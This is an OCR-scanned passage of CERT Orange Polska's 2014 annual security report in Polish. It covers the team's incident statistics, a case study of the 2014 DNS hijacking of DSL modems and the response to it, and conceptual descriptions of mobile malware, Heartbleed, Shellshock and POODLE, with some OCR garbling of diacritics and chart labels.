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Raport CERT Orange Polska za rok 2014

Dla Orange Polska
bezpieczenstwo
teleinformatyczne

to istotny element
funkcjonowania firmy...

1. Dlaczego powstat raport
CERT Orange Polska”

Ponad 2 miliony klientéw stacjonarnych ustug szerokopasmowego dostepu do internetu, przeszto 100 tysiecy alertéw DDoS,
kilkanascie tysiecy incydentéw bezpieczenstwa w ciggu roku, niezliczone ilosci przejetego i przeanalizowanego ztosliwego
oprogramowania, 18 lat doswiadczenia w dziedzinie bezpieczenstwa IT. Dla Orange Polska bezpieczenstwo teleinformatycz-
ne to istotny element funkcjonowania firmy, stad ciggty rozwdj tej dziedziny. Efektem jest m.in. certyfikacja CERT® dla zespotu
reagowania na zagrozenia bezpieczenstwa teleinformatycznego.

Sie¢ Orange Polska obejmuje swoim zasiegiem okoto 40% polskiego internetu’, dlatego liczba zdarzen i incydentéw obstu-
giwanych przez CERT Orange Polska pozwala na obserwacije trendéw oraz wycigganie wnioskow, ktére mozna przetozyé
na caly krajowy internet. Jako jeden z gtownych operatoréw telekomunikacyjnych Orange Polska, dzigki dziatalnosci swojej
jednostki CERT, dysponuje bazg informaciji i zdarzen, ktére podlegaja ciggtej analizie, nierzadko wptywajgc na biezace funk-
cjonowanie firmy. Zdecydowalismy sie zatem podzieli¢ tymi informacjami po to, by pokaza¢ spojrzenie na bezpieczenstwo
teleinformatyczne oczami operatora.

Niniejsze opracowanie to pierwsze podsumowanie catorocznych dziatan CERT Orange Polska. Dzisiaj nie mozna bagate-
lizowa¢ cyber-zagrozen — istotna czes$¢ biznesu i interakcji z aktualnymi lub potencjalnymi klientami dzieje sie w sieci, wiec
sitg rzeczy tam przenosi sie takze przestepczos¢. Gteboko wierze, ze Raport CERT Orange Polska pomoze menedzerom
w zrozumieniu zagrozen funkcjonujgcych w internecie, jak rowniez w podejmowaniu decyzji biznesowych i inwestycyjnych.
Przydatny bedzie takze dla wszystkich zainteresowanych internautéw.

Piotr Muszyriski
Wiceprezes Zarzgdu ds. Operacyjnych
Orange Polska

" http://www.orange-ir.pl/pl/results-centre/results/2014.



W 2014 roku CERT Orange Polska obstugiwat ok. 1000
incydentdw bezpieczenstwa miesiecznie — 39 procent sta-
nowity zgtoszenia i obserwacje zwigzane z rozpowszech-
nianiem niechcianej korespondencji (spamu). Najwigkszym
incydentem byt lutowy atak na modemy DSL polskich
internautéw, ktéry swoim zasiegiem objgt 100 tysiecy
podatnych urzgdzen, z czego ok. 50 tysiecy zostato sku-
tecznie zrekonfigurowanych przez atakujgcych — akcje
podejmowane przez CERT Orange Polska zostaty opisa-
ne szerzej w raporcie jako studium przypadku cyberataku
i przeciwdziatania mu.

Systemy ochrony przed atakami DDoS w sieci Orange Pol-
ska zidentyfikowaty w minionym roku ponad 100 tysiecy
ostrzezen o ruchu noszgcym znamiona ataku — to wzrost
0 blisko 40 procent w poréwnaniu z 2013 rokiem. CERT
Orange Polska zanotowat znaczny wzrost liczby atakdéw
wykorzystujgcych niepoprawnie skonfigurowane serwery
(m.in. synchronizacji czasu), pozwalajgce na skierowanie
w strone ofiary odpowiedzi wigkszej nawet kilkaset razy
od pakietu inicjujgcego atak. Srednie szczytowe natezenie
ataku odnotowane przez CERT Orange Polska to ok. 900
Mbps. Najwiekszy wolumen zaobserwowanego w sieci
Orange Polska ataku to 93 Gbps (gigabitéw na sekunde)
oraz 50 Mpps (miliondw pakietéw na sekundg). Od kilku
lat utrzymuije sie tendencja do dywersyfikacji celéw atakow
Z jednoczesnym skracaniem czasu ich trwania.

Analiza stwierdzonych w sieci przypadkéw ztosliwego
oprogramowania wykazata, ze duzg popularnoscig cieszg
sie tzw. bankery — ztosliwe oprogramowanie wykradajgce
dane logowania do systeméw e-bankowosci — oraz mal-
ware ukierunkowany na ataki APT (Advanced Persistent
Threat), szerzej opisany przez jednego z partneréw niniej-
szego raportu. Ciekawsze przypadki malware eksperci
CERT Orange Polska poddali doktadnej analizie, ktéra
zostatg przedstawiona w zatgcznikach zamieszczonych
w koncowej czgsci raportu.

2. Podsumowanie informaci
zawartych w raporcie

Najczesciej atakowane przez cyberprzestepcow ustugi to
serwery WWW oraz web proxy (port 8080), oprogramo-
wanie umoZzliwiajgce zdalny dostep do komputera (Virtual
Network Computing, port 5900) oraz potgczenia do baz
danych opartych na SQL (MS SQL Server, port 1433).
Warto pamieta¢, by na biezaco aktualizowa¢ zabezpie-
czenia aplikacji taczacych sie z siecig internet oraz bloko-
wac dostep do nieuzywanych portéw. Najpopularniejsza
podatnos¢ stwierdzona przez CERT Orange Polska (21
procent przypadkéw) to Directory Listing, pozwalajgca
atakujgcemu na podejrzenie zawartosci katalogéw na ser-
werze —w tym m.in. pliku /etc/passwd/.

Najgrozniejsze ubiegtoroczne podatnosci sg dowodem na
to, ze nawet popularne, dojrzate oprogramowanie moze
zawiera¢ nieodkryte, krytyczne luki bezpieczenstwa. Regu-
larne aktualizowanie oprogramowania i instalowanie fat
bezpieczenstwa to wcigz absolutny obowigzek. Dodatko-
WO, co jest bardzo wazne zwtaszcza w duzych organiza-
cjach, zalecane jest stosowanie strategii defense-in-depth
oraz ograniczanie powierzchni ataku poprzez wytgczanie
Zbednych ustug i programoéw. Wzrost liczby podatnosci
w systemach Unix/Linux sugeruje znaczny wzrost zaintere-
sowania cyberprzestepcdéw tymi systemami i moze ozna-
czac wzrost liczby atakéw w 2015 roku.

Jesli chodzi o trendy na 2015 rok, w zwigzku z dynamicz-
nym rozrostem Internet of Things, CERT Orange Polska
oraz partnerzy raportu przewidujg wzrost liczby atakéw
na nowe rodzaje urzadzen korzystajgcych z dostepu do
internetu. Ataki APT bedg coraz bardziej wyrafinowane,
pojawig sie w nich m.in. znane do tej pory z produkcji hol-
lywoodzkich mechanizmy samozniszczenia, co powaznie
utrudni wykrywanie sprawcow. Jednego mozna by¢ pew-
nym — bezpieczenstwo teleinformatyczne w 2015 roku na
pewno nie straci na znaczenia.
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3. CERT Orange Polska — kim jestesmy?

Orange Polska (dawnigj Telekomunikacja Polska S.A.)
przyktada duzg wage do bezpieczenstwa teleinformatycz-
nego juz od 1997 roku, gdy w strukturze firmy powstata
pierwsza odpowiedzialna wytacznie za ten aspekt jednost-
ka. W 2006 roku — jako trzecia jednostka w Polsce i obec-
nie jedyny operator telekomunikacyjny — otrzymalismy
prawo do uzywania nazwy CERT® (Computer Emergency
Response Team). Jest ono przyznawane przez Carnegie
Mellon University (CERT.org) wytgcznie zespotom spetnia-
jacym wysrubowane wymagania dotyczace obstugi zagro-
zen zwiazanych z cyberbezpieczenstwem i reagowania na
te zagrozenia.

Operatorzy CERT Orange Polska (I linia wsparcia) pracujg
w trybie 7/24/365, monitorujgc poziom bezpieczenstwa
uzytkownikdw naszej sieci, przyjmujgc zgtoszenia, reagu-
jac na zidentyfikowane incydenty bezpieczenstwa i podej-
mujgc dziatania zmierzajgce do minimalizacji zagrozen.
Zespoty analitykow oraz ekspertow (Il i Il linia wsparcia)
wspierajg codzienng prace linii operacyjnej w przypadku
wystgpienia bardziej ztozonych zdarzen, nieujetych w pro-
cedurach reagowania na incydenty standardowe. Sg réw-
niez odpowiedzialne za przeprowadzanie analiz zagrozen,
optymalizacje procesu obstugi standardowych incydentow
bezpieczenstwa oraz rozwdj narzedzi detekcji i minimalizacii
zagrozen. Takie wielopoziomowe podejscie do organizacii
zespotu reagowania pozwala na efektywne wykorzystanie
zasobow osobowych i technologicznych przy jednoczesne;
optymalizacji kosztow funkcjonowania. Nasi klienci niejed-
nokrotnie mogli sie przekonac, ze dbamy o ich bezpieczen-
stwo o kazdej porze dnia i nocy.

Raport przygotowany przez CERT Orange Polska

W codziennej pracy CERT Orange Polska wspétpracuje
na szczeblu operacyjnym z krajowymi i miedzynarodowymi
organizacjami skupiajgcymi jednostki o podobnym profi-
lu dziatalnosci. Jest jednym z dwdch krajowych zespotdw
akredytowanych w ramach inicjatywy Trusted Introducer,
dziatajgcej przy europejskiej organizacji TERENA TF-CSIRT
(zrzeszajgcej ponad 200 jednostek CERT w  Europie).
Uczestniczy réwniez w pracach najwigkszej organizacii
zrzeszajgcej Swiatowe CERTy — FIRST (Forum of Incident
Response and Security Teams).

Orange Polska jest strategicznym partnerem renomowa-
nych dostawcéw rozwigzan bezpieczenstwa, takich jak
McAfee, Cisco, Fortinet czy BlueCoat, tworzac z nimi roz-
wigzania z zakresu cyberbezpieczenstwa (m.in. zapewniajg-
ce ochrone przed atakami na infrastrukture wtasng i klienc-
ka). Od wielu lat wspdtpracujemy takze z innymi wiodgcymi
dostawcami rozwigzan bezpieczenstwa: HP, FireEye, EMC,
Check Point, Arbor Networks, Radware, czy Crossbeam.

W ramach ustug komercyjnych Orange Polska, m.in. dzigki
wykorzystaniu kompetenciji CERT Orange Polska, wdrozyt
szereg projektow w Polsce i w Europie, w tym: DDoS Pro-
tection, RiverBed MS (firma z branzy ubezpieczeniows)),
SIEM (duze instytucje bankowe, content service provider)
oraz przeprowadzita testy i audyty bezpieczenstwa dla
klientéw, réwniez zagranicznych, z wielu branz.

Na witrynie internetowej http://cert.orange.pl/ mozna zna-
lez¢ alerty bezpieczenstwa oraz inne istotne informacje,
a takze baze wiedzy i szereg poradnikéw, zas na witrynie
http://blog.orange.pl regularnie publikowane sg informacje
dotyczace bezpieczenstwa IT, gtdwnie budujgce $wiado-
mos¢ bezpiecznych zachowan w sieci.

Adres do kontaktu w sprawie raportu: raportcertopl@orange.com

Kontakt z CERT Orange Polska
cert.orange.pl
cert.opl@orange.com



Analitycy McAfee zauwazyli w minionym roku znaczne nasilenie zjawiska wyko-
rzystywania popularnosci legalnych aplikacji w rozprzestrzenianiu mobilnego
ztosliwego oprogramowania. Ciekawym przyktadem takiej taktyki byt klon popu-
larnej gry mobilnej Flappy Birds. Wedtug McAfee Labs az 79% klonéw gry Flap-
py Birds (rowniez tych dostepnych w legalnych sklepach z oprogramowaniem,
zanim zostaly stamtgd usunigete) zawierato wirusy! Instalacja takiej aplikacji przez
uzytkownika umozliwiata cyberprzestepcom m.in. wykonywanie potgczen tele-
fonicznych bez wiedzy uzytkownika, instalowanie dodatkowych aplikacji, uzy-
skanie dostepu do listy kontaktow, sledzenie potozenia telefonu i nieograniczong
kontrole nad danymi w urzgdzeniu, w tym nad zapisywaniem, wysytaniem i otrzy-
mywaniem wiadomosci SMS.

Raporty McAfee Labs wskazujg na kilka przyktadéw wykorzystania funkciji zaufa-
nych aplikaciji i ustug przez mobilne ztosliwe oprogramowanie, np.:

Ta ztosliwa aplikacja mobilna dziata w obszarze uwierzytelnienia i autoryzacii
konta w App Store w celu automatycznego pobierania, instalowania i urucha-
miania aplikacji bez zgody uzytkownika.

Wykorzystuje luke w legalnej ustudze cyfrowego portfela w celu przejecia kon-
troli nad protokotem przekazéw pienieznych i przeniesienia Srodkéw na serwery
atakujagcego.

Korzysta z luki w metodzie szyfrowania popularnego komunikatora WhatsApp,
umozliwiajgc atakujgcemu przechwycenie i udostepnienie konwersacii i zdje¢
bez zgody uzytkownika.

— Mamy zaufanie do marek i nazw, ktére znamy z internetu. Kiedy bardzo chce-
my co$ mie¢, czesto nasza czujnos¢ jest uspiona i bezwiednie godzimy sie na
czyhajgce zagrozenia — mowi Vincent Weafer, Senior Vice President McAfee
Labs. — Rok 2014 pokazat juz w sposéb wyrazny, ze twdrcy mobilnego ztosli-
wego oprogramowania wykorzystuja te wtasnie sktonnos¢. Programisci muszag
koniecznie usprawni¢ zabezpieczenia wbudowywane w tworzone przez nich
aplikacje, a uzytkownicy powinni z wigkszg ostroznoscig podchodzi¢ do udziela-
nia zgody w ramach ich uzywania — ostrzega Weafer.

4. Najgrozniejsze podatnosci 2014 roku
na swiecie

W 2014 roku opublikowano informacje o wielu podatno-
Sciach. Na czes¢ z nich warto zwrdci¢ szczegding uwage
ze wzgledu na ich grozny charakter.

Jedng z najczesciej przytaczanych i najdoktadniej opisy-
wanych w minionym roku luk byt Heartbleed — podatno$é
odkryta w pakiecie OpenSSL pozwalajgca na odczytanie
fragmentow pamieci atakowanego procesu, a w konse-
kwencji czesto prywatnego klucza, co pozwala na odszy-
frowanie tresci przechwyconego komunikatu. Moze to
oznacza¢ np. mozliwos¢ sledzenia i rejestrowania interakcii
w programie pocztowym lub przechwycenia wpisywane-
go loginu i hasta (np. do banku). Biblioteki SSL, w ktérych
wykryto podatnos¢, byty niezwykle popularne — w chwiili
publikowania informaciji luka dotyczyta okoto pét miliona
dziatajgcych w sieci serwerow WWW. Luka byta rowniez
bardzo fatwa do wykorzystania. W opracowaniu amery-
kanskiego repozytorium National Vulnerability Database
uzyskata w tej kategorii ocene 10/10 w punktacji CVSS
(Common Vulnerability Scoring System — Wspdlny System
Oceniania Podatnosci).

Podatnos¢ Shellshock zostata upubliczniona 24 wrzesnia
2014 roku. Polega ona na tym, ze program bash umozli-
wia atakujgcemu wykorzystanie tresci, ktéra powinna by¢
interpretowana jako dane, w charakterze kodu wykony-
walnego. W efekcie atakujgcy moze za posrednictwem
zmiennych $rodowiskowych przekaza¢ do programu pole-
cenie, ktdre ten nastepnie wykona. Shellshock jest jedng
Z najbardziej niebezpiecznych luk zaobserwowanych od
lat, a to dlatego, ze bash, jako ulubiona powtoka wielu
administratoréow systemowych, bardzo czesto jest wybie-
rana jako domysina dla systeméw klasy Linux czy Unix.

4.1 Okiem partnera — McAfee

Oznacza to, ze liczba podatnych systeméw jest wysoka.
Dodatkowo, atak za posrednictwem Shellshock jest tatwy
do wykonania nawet automatycznie, a do jego przeprowa-
dzenia nie potrzeba duzej wiedzy.

Poodle to luka w SSL protokole zabezpieczania transmis;ji
sieciowych. W potgczeniu z innymi machinacjami atakuja-
cy moze jg wykorzysta¢, by uzyska¢ mozliwos¢ odczytu
danych zabezpieczonych przez szyfrowanie tym protoko-
tem. Podatnos$¢ dotyczy wszystkich pakietéw oprogramo-
wania wspierajgcego protokét SSLv3.

Whiosek? Nawet rozprzestrzenione i — wydawac by sie
mogto — dojrzate oprogramowanie moze zawiera¢ nieod-
kryte krytyczne luki bezpieczenstwa. Dlatego oprocz utrzy-
mywania aktualnych wersji oprogramowania zalecane jest
stosowanie kilku warstw zabezpieczen (strategia defense-
-in-depth) oraz ograniczanie skutecznosci potencjalnego
ataku przez wytgczanie zbednych ustug i programow.

Na przyktadzie atakdw opartych na luce Shellshock mozna
zauwazy¢, ze systemy Unix, Linux oraz inne wykorzystujg-
ce powtoke bash moga stanowi¢ cele réwniez dla autorow
robakow, ktérzy do tej pory oszczedzali je ze wzgledu na
wiele réznic miedzy poszczegdinymi dystrybucjami. Tym-
czasem z powodu charakteru luki roznice te okazaty sie
nieistotne, a systemy serwerowe staly sie celem atakow
typowych dla jednorodnych systeméw klienckich, takich
jak np. systemy rodziny Windows.

Zainteresowanych szerszg analizg opisanych podatnosci
zapraszamy do lektury zatgcznikbw od 4. do 7. umiesz-
czonych na koncu raportu.
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Wykres 1.

Rozktad procentowy typow
incydentow obstuzonych
przez CERT Orange Polska

Wykres 2.

Liczba incydentow obstuzonych
przez CERT Orange Polska

w skali miesigca

5. Najwazniejsze zagrozenia 2014 roku
w sieci Orange Polska

W 2014 roku zespdt CERT Orange Polska obstuzyt 11 379
incydentoéw bezpieczenstwa, w ktérych zrédtlem bgdz
celem ataku byfa sie¢ ustugowa Orange Polska. Informacije
o incydentach pochodzity zaréwno ze zrédet zewnetrz-
nych, jak i alertydbw z wewnetrznych systeméw bezpie-
czenstwa.
Typy incydentéw obstuzonych przez zespdt CERT Oran-
ge Polska w 2014 roku w rozktadzie procentowym przed-
stawiono na wykresie 1, ponizej szczegdtowo opisano
poszczegolne kategorie. Kategorie oparte sg na typie
i skutku dziatarn naruszajgcych bezpieczenstwo, zwigza-
nych z procesem ataku na system teleinformatyczny i jego
wykorzystaniem.  >> Wykres 1.
e Spam
wysytanie niechcianej poczty elektronicznej z urzadzen
pracujgcych w sieci Orange Polska lub do uzytkowni-
kéw sieci Orange Polska
e DDoS
rozproszone ataki blokujgce ustuge, ktorych jednym ze
zrédet badz celem byto urzgdzenie uzytkownika sieci
Orange Polska
e Proby wlaman
préby uzyskania nieautoryzowanego dostepu do sys-
temu (np. zgadywanie hasef), ktoérych zrédlem lub
celem byto urzgdzenie uzytkownika sieci Orange Polska
e Malware
rozpowszechnianie zlosliwego oprogramowania (np.
umozliwienie hostowania ztosliwej strony internetowej),
ktorych Zrodtlem byto urzgdzenie uzytkownika sieci
Orange Polska
e Phishing URL
umozliwianie hostowania przez urzadzenia uzytkowni-
kow sieci Orange Polska fatszywej strony, wytudzajgcej
poufne informacje
e Inne
m.in. przechwytywanie badZ modyfikowanie informa-
cji, rozpowszechnianie tresci zabronionych prawem
(pornografia dziecieca, handel narkotykami etc.) i nie-
bezpiecznych (z wytgczeniem spamu, umieszczone-
go w oddzielnej kategorii) oraz oszustw sieciowych
(z wytgczeniem phishingu URL)

Ponizej liczba incydentdw obstuzonych przez CERT Oran-
ge Polska w skali miesigca. Srednio w miesigcu obstugiwa-
nych byto blisko 1 000 incydentow.

>> Wykres 2.

Mimo faktu, ze zagrozenia wynikajgce ze spamu sg znane
od wielu lat, a na rynku jest dostepnych sporo narzedzi
i ustug umozliwigjgcych jego minimalizacje, stanowi on
nadal znaczacy problem dla uzytkownikdw sieci inter-
net. Z jednej strony do skrzynek poczty elektronicznej
trafia mnostwo niechcianej korespondencii, z drugiej zas
— czes$¢ korespondenciji, ktérej uzytkownik oczekuije, filtry
zabezpieczajgce traktujg jako spam i przenoszg do folde-
roéw z niechciang poczta, co utrudnia ich skuteczne dotar-
cie do odbiorcy. Dodatkowo wykorzystywana przez ata-
kujacych mozliwos¢ podszywania sie pod adres nadawcy
korespondencji wysytanie bez jego wiedzy i zgody wiado-
mosci e-mail ze ztosliwg zawartoscig powoduijg, ze adres
zaatakowanego nadawcy moze trafic na oficjalne listy
spamerskie. Efektem jest blokada mozliwosci wysytania
i otrzymywania korespondenciji elektronicznej dla zaata-
kowanego adresu e-mail, a nierzadko réwniez dla catej
domeny.

Zgtoszenia otrzymane przez CERT Orange Polska doty-
czgce kazdego z rodzajow ucigzliwosci zwigzanej ze spa-
mem sg podejmowane do analizy i realizacji przez ope-
ratorow zgodnie z obowigzujgcymi procedurami obstugi.
Dzieki temu, ze marka CERT Orange Polska jest rozpo-
znawana na rynku zaréwno krajowym, jak i zagranicznym,
zgtoszenia przekazywane przez naszych operatorow m.in.
do jednostek odpowiedzialnych za aktualizacje tzw. black
list sa przez te organizacje realizowane priorytetowo.
W podobny sposdb wspdtpracujg z CERT Orange Polska
firmy $wiadczgce ustugi hostingowe — w przypadku zgto-
szenia przez operatora CERT do firmy hostingowej infor-
macji 0 wykryciu serwisu wysytajgcego wiadomosci typu
spam serwis taki jest blokowany przez hostujgcego.

Z uwagi na zwiekszong dostepnosc¢ rozwigzan — a w ostat-
nim czasie rowniez dedykowanych ustug —umozliwiajgcych
przeprowadzanie atakéw DDoS do operatoréow CERT
coraz czescigj trafiajg zgtoszenia dotyczace tego zagro-
zenia. Tg drogg pozyskiwana jest niewielka czgs¢ infor-
macji o atakach DDoS — podstawowym zrédtem informagii
o atakach na klientow sieci Orange Polska sg dedykowane
temu celowi systemy monitorowania umozliwiajgce takze
minimalizacje zagrozenia. Celami atakow sg nie tylko duze
organizacje np. $wiadczgce ustugi bankowosci elektro-
nicznej, cho¢ takie ataki najczesciej sg szeroko komen-
towane w srodkach masowego przekazu, gdyz dotykajg
w jednym czasie wielu uzytkownikéw ustug bankowych.



Ataki DDoS sg dedykowane przede wszystkim na klientéw
ustug takich jak Neostrada czy Internet DSL. Ich wysoki
wolumen, nierzadko przekraczajacy 3 Gbps, bez podje-
cia mitygacji przez CERT Orange Polska niejednokrotnie
nie pozostawatby bez wptywu na dostepnos¢ ustug dla
innych klientow podtgczonych do tych samych weztow
sieciowych co atakowany uzytkownik. Dlaczego klienci
detaliczni padajg ofiarami atakéw DDoS? Gtéwnie dlatego,
ze korzystajg z mozliwosci prowadzenia gier on-line. Prze-
ciwnik, chcac ,usmierci¢” gracza lub przejg¢ jego zaso-
by, zamawia na adres IP ofiary ustuge ataku DDoS, ktéry
potrafi skutecznie ograniczy¢ dostepnos¢ sieci internet dla
niego w tym czasie — taki atak mozna kupic¢ juz za kilkana-
Scie dolaréw. Pozwala on wykona¢ w wirtualnym Swiecie
zamierzone przez atakujgcego dziatania.

Zgloszenia ujete w kategorii ,Proby wtaman” dotycza
gtdbwnie dziatan zwigzanych z podejrzeniem préb przefa-
mania zabezpieczen w systemach dokonywanych przez
uzytkownikow sieci Orange Polska. W przewazajgcej cze-
Sci odpowiedzialnos$¢ za to — jak i za dziatania dotyczace
wysytania spamu oraz uczestnictwo komputerow osobi-
stych uzytkownikéw sieci w atakach DDoS — ponosi mal-
ware, ktérym zainfekowane sg stacje robocze uzytkow-
nikdw. Komputery takie bez wiedzy i zgody uzytkownika
stajg sie narzedziami w rekach przestepcéw. Za posred-
nictwem tzw. serwerdow C&C (Command and Control),

przejmujg oni dzieki malware kontrole nad komputerem
ofiary i wydajg mu polecenia realizowania nieuprawnionych
dziatan.

W kategorii ,Malware” ujete zostaty dziatania prowadzone
przez CERT Orange Polska dotyczgce identyfikaciji, analizy
oraz ograniczania rozprzestrzeniania sie malware na sta-
cje uzytkownikéw sieci Orange Polska, a takze czynnosci
zwigzane z ograniczeniem mozliwosci komunikacji zainfe-
kowanych stacji z serwerami C&C.

Phishing, jesli patrzy si¢ od strony ilosciowej, powinien sta-
nowi¢ sladowe zagrozenie, wcigz jednak zagraza uzytkow-
nikom sieci internet. Na skutek tego typu atakéw poufne
dane uzytkownikéw mogg sie dosta¢ w niepowotane rece,
a ich wykorzystanie moze przysporzy¢ wtascicielowi wielu
klopotow, tacznie z kradziezg pieniedzy z kont bankowych,
utratg dostepu do tredci zamieszczonej w sieciach spo-
tecznosciowych lub w poczcie elektronicznej oraz kon-
troli nad tymi tresciami. Przeciwdziatajac atakom, CERT
Orange Polska przede wszystkim uniemozliwia nawigza-
nie potgczenia przez uzytkownikéw sieci Orange Polska
z serwisami wytudzajgcymi informacje. Dodatkowo CERT
Orange Polska wspdtpracuje z podmiotami hostujgcymi
ustugi serwisbw webowych — na jego wniosek serwisy
internetowe wytudzajgce informacje sg blokowane, sta-

jac sie niedostepnymi dla wszystkich uzytkownikéw sieci

internet, rowniez bedacych klientami innych operatorow
telekomunikacyjnych.

W lutym 2014 roku nastgpit zmasowany atak na modemy
uzytkownikdw szerokopasmowego dostepu do internetu
(m.in. firm TP-Link, Pentagram, D-Link), polegajacy na uzy-
skaniu dostepu do konfiguracji backupu i podmianie DNS-
-Ow na takie, ktére przekierowujg ruch na fatszywe strony
bankéw. Urzadzenia pochodzace z sieci sprzedazy Oran-
ge byty przed tego typu atakami zabezpieczone, ryzyko
dotyczyto urzadzen kupionych na wolnym rynku, z ktérych
korzysta wielu naszych klientéw. W wyniku tych atakdéw
CERT Orange Polska podjgt natychmiastowe dziatania:
4 |utego 2014 roku w godzinach wieczornych CERT
Orange Polska w porozumieniu z zagrozonymi insty-
tucjami finansowymi oraz Zwigzkiem Bankow Pol-
skich zablokowat adresy DNS (fake DNS) kierujgce
ruch uzytkownikdéw na spreparowane fatszywe strony
internetowe bankowosci elektronicznej. W momencie
blokowania adreséw nie byto jeszcze mozliwe oszaco-
wanie skali zagrozenia. Po zablokowaniu ,fake DNS”
gwalttownie wzrosta liczba potgczen klientéw z Biurem
Obstugi Klienta Orange Polska, zwigzanych z reklama-
cjg braku dostgpnosci ustug Neostrada oraz Internet
DSL, co znacznie wydtuzyto czas oczekiwania na potg-
czenie z Biurem Obstugi Klienta badz nawet je wyklu-
czato.
Zespot CERT Orange Polska po otrzymaniu powyzszej
informaciji przeprowadzit analize sytuacji i ustalit, ze
w modemach kupionych przez klientéw poza siecig
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S

podstawione (fatszywe)
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serwery DNS podstawione serwisy WWW,
np. bankowosc¢ internetowa

autentyczne serwisy WWW,
np. bankowo$¢ internetowa

Rysunek 1.
Proces atakow na modemy DSL

sprzedazy Orange Polska, majgcych luke bezpieczen-
stwa, zostaty podmienione adresy DNS. Zablokowanie
tych adresdéw pozwolito na zabezpieczenie klientéw
przed dziataniami atakujgcych, jednak spowodowa-
to jednoczesnie uniemoZliwienie korzystania z ustug
dostepu do sieci internet.

5 lutego zespdt CERT Orange Polska wypracowat
rozwigzanie umozliwiajgce zapewnienie bezpiecznego
dostepu do sieci internet dla klientéw Orange Polska
z zainfekowanymi modemami. Wykonano tzw. sinkho-
ling (przekierowanie ruchu na adresy IP serweréw DNS
Orange Polska z jednoczesng analizg ztosliwego ruchu
przez CERT Orange Polska), co pozwolito klientom ze
zmienionymi adresami DNS odzyska¢ dostep do sieci
internet. Zdecydowano tez o przeprowadzeniu etapa-
mi przekierowania zainfekowanych uzytkownikéw na
dedykowang strone WWW z ostrzezeniem o zagro-
zeniu oraz narzedziem i instrukcjg do wprowadzenia
poprawnych parametrow konfiguracyjnych w route-
rach, co pomogto w minimalizowaniu zagrozenia.
Cho¢ potencjalnie zagrozone byly 94 tysigce klien-
tow Orange Polska (liczbe zaatakowanych mode-
mow oszacowano na 44 tysigce), trzeba zaznaczyc,
ze atak prowadzony byt réwniez na innych polskich
operatordw.

Rysunek 1 ponizej przedstawia proces ataku.

Atakujacy pobierajg konfiguracje
podatne modemy z podatnego modemu.
uzytkownikow/

Klientow Atakujacy ustawiajg adresy serwerdw

DNS na fatszywe.

Uzytkownicy prébuijg sie dostac

do bankowosci intemetowe;j

—ich komputery wysytajg zapytania
o adresy IP e-bankéw do fatszywych
serwerow DNS-6w.

Fatszywe DNS-y kierujg
uzytkownikow do podstawionych
serwiséw bankowosci internetowe;.

Uzytkownicy prébuija sie
zalogowaé na swoje konta

swoje loginy, hasta oraz inne dane
potrzebne do uwierzytelnienia.
Atak moze by¢ rowniez
wykorzystany do przejecia
komputerow uzytkownikéw

w celu stworzenia botnetu

do wykonywania np. atakéw
DDoS lub spamowych.

w serwisach bankowosci
internetowej, podajag atakujgcym
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Mail phishingowy

Powyzsza liczba przejetych i podatnych modeméw DSL
w analizowanym okresie. Pod koniec lutego liczba przeje-
tych i podatnych modemow zostata znaczgco ograniczo-
na, a do 26 marca 2014 roku podatnos$¢ zostata usunieta

Od poczatku wakacji polscy internauci stali sie obiektem
ataku phishingowego przeprowadzanego przy uzyciu maili
z zatgcznikiem przypominajgcym faktury za ustugi teleko-
munikacyjne. Wysytane maile dotyczyly znacznej czesci
operatoréw telekomunikacyjnych (w tym Orange Polska).
Do CERT Orange Polska naptynety w lipcu i w sierpniu zgto-
szenia klientow dotyczace fatszywych maili tego typu.
CERT Orange Polska otrzymat informacje i probki ztosliwe-
go oprogramowania z wielu zrodet, a nastepnie poddat je
szczegobtowej analizie. W kolejnych krokach:
ztosliwy kod zostat zidentyfikowany jako odmiana tro-
jana Tiny Banker (Tinba),

bankowosci elektronicznej, witryny rzadowe, infrastruktu-
re dowolnego operatora telekomunikacyjnego etc.),

atakdéw spamowych — wysytka wiadomosci e-mail
zawierajgcych reklamy, informacje wytudzajgce dane

100 000 Wykres N . , i przestata stanowi¢ zagrozenie w sieci Orange Polska. lub np. wystanie ogromne;j liczby wiadomosci na jeden
Liczba podatnych i przejetych ) . ] ; o

90 000 modemow DSL w analizowanym Wykres 3. adres e-ma|ll, s.kutKUJaoe Jggo n|ed.ost@pnosola, |

80000 okresic atakéw phishingowych i pharmingowych (przekie-

o000 Reakcja CERT Orange Polska pomogta w skutecznym rowanie uzytkownika na podstawiong strong WWW
zabezpieczeniu klientow Orange Polska przed konse- mimo wpisania prawidtowego adresu) — pozyskiwa-

60000 kwencjami ataku. Zablokowata réwniez cyberprzestep- nie poufnych danych uzytkownikéw (loginy, hasta do

50000 com szanse przejmowania i infekowania komputeréw oraz kont bankowych, kont e-mail, dostepu do portali) oraz

40 000 wykorzystania ich do stworzenia botnetu umozliwiajgcego przejecie srodkow pienieznych z kont bankowych

30000 przeprowadzenie na przyktad: uzytkownikow.

20000 atakéw DDoS na dowolne ustugi internetowe (np. ustugi

10000

uzyskano nazwy domen oraz adresy IP serwerdw kon-
trolujgcych botnet,

ruch z sieci Orange Polska do szkodliwych adreséw po
ich zidentyfikowaniu zostat natychmiast zablokowany;,
nawet w przypadku infekcji ztosliwe oprogramowanie
nie mogto sie komunikowa¢ z centrum zarzadzania
i nie powodowato szkdd u uzytkownikow,

informacja na temat postepowania w przypadku otrzy-
mania tego typu korespondencji zostata przekazana
do Biura Obstugi Klienta i mediow,

opublikowano szereg informacji w serwisie
blog.orange.pl oraz cert.orange.pl.
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Poziom krytycznosci alertow DDoS
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Liczba alertow DDoS w podziale

Ataki odmowy dostepu do ustugi (Distributed Denial of
Service — DDoS) sg jednymi z najprostszych i najbardziej
popularnych atakéw na sie¢ lub system komputerowy
(np. aplikacje i ustugi dostepne z poziomu sieci internet),
a zarazem jednymi z bardziej groznych.

Ich gtéwnym celem jest utrudnienie lub uniemozliwienie
dostepu do ustug sieciowych. Przebieg ataku to zwykle
zalewanie (ang. flooding) atakowanego obiektu odpowied-

Nieprzygotowana, zaskoczona atakiem DDoS ofiara nie
ma w wiekszosci przypadkéw mozliwosci obrony badz
tez potencjalne srodki obrony sg tylko pozorne (np. restart
aplikaciji, serwerdw, urzgdzen) i nie prowadzg do petnego
przywrécenia ustugi. Odciecia atakowanego serwisu od
sieci nie mozna nazwac¢ $rodkiem zaradczym, skoro wia-
$nie to byto celem atakujgcego.

Obserwowane w grudniu (okres Swigteczny) ataki na ser-
wisy potentatéw rozrywki sieciowej (PSN i XBOX Live)
spowodowaly straty finansowe liczone w milionach dola-
réw. Atakow DDoS bedgcych w stanie zablokowac ustugi
najwiekszych korporacji jest coraz wiecej — chocby z racji
